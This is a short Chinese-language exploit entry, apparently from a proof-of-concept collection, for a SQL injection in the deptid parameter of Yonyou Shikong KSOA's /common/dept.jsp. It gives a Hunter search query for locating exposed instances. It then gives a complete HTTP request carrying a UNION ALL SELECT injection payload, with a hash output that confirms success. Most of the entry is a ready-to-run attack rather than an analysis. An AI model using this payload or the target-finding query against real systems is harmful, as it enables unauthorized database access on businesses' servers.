Y22-7用友-时空KSOA-SQL

漏洞描述：

用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。用友时空KSOA平台deptid参数存在SQL注入漏洞。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="用友时空 KSOA"

漏洞复现：

payload：

```
GET /common/dept.jsp?deptid=1%27%20UNION%20ALL%20SELECT%2060%2Csys.fn_sqlvarbasetostr(HASHBYTES(%27MD5%27%2C%27sterben.cc%27))-- HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=E14B6EF446CB3E488A4A36FEADAAC0B8
Upgrade-Insecure-Requests: 1

0x933fb5f36cd5c0f996fe70743232bbbc
```

效果图: